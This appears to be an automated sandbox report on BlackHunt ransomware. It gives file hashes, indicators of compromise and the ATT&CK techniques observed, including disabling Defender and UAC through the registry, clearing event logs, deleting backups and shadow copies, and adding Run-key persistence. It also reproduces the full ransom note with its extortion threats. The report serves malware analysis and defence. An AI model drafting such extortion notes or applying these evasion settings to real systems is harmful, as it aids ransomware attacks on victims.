ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982

Analysis

max time kernel
152s
max time network
161s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:41

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General

Target

ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
Size

707KB
MD5

ae6b8f7bf28132447284f9e2b78278a5
SHA1

c26cc4c9f05ab7dc0073701c8eba5b7b873667b2
SHA256

ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982
SHA512

3f988594d422eeef5b2a00b637c894e8fc4b51ade5eaa7c74c42ed385f83536f156d2d1ca002d83697017f0ccf79725b3f4bda2332e1bc62fe71cfd3cbe76996
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza188Tvnh:6uaTmkZJ+naie5OTamgEoKxLWHTh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> Vo64up7So6YYItEz </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1696	fsutil.exe
2108	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2624	wevtutil.exe
836	wevtutil.exe
1568	wevtutil.exe
2164	wevtutil.exe
2532	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2188	bcdedit.exe
2872	bcdedit.exe
2504	bcdedit.exe
2944	bcdedit.exe

Renames multiple (2863) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2976	wbadmin.exe
2496	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe

Enumerates connected drives 3 TTPs 26 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\T:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\N:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\M:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\U:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\P:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\O:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\J:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\B:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\R:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\Q:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\W:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\Y:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\I:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\A:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\S:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\H:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\K:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\Z:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\L:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\X:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\V:	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened (read-only)	\??\F:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\plugins\d3d9\#BlackHunt_Private.key	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_ButtonGraphic.png	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\feature.properties	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.syntheticattribute.exsd	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Enderbury	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_zh_CN.jar	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-host-views.jar	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-tools.jar	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\liveleak.luac	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\view.html	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_ReadMe.txt	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\#BlackHunt_ReadMe.txt	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\7-Zip\7-zip.chm	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\java.security	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kathmandu	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_ReadMe.hta	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\#BlackHunt_ReadMe.txt	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\#BlackHunt_ReadMe.txt	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha2.png	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.RSA	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin_2.0.100.v20131209-2144.jar	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-compat_ja.jar	ba0e773167a49b05cb6dcea1a64d9c34dba3e0a558dfeb607c619d0034a67982.exe
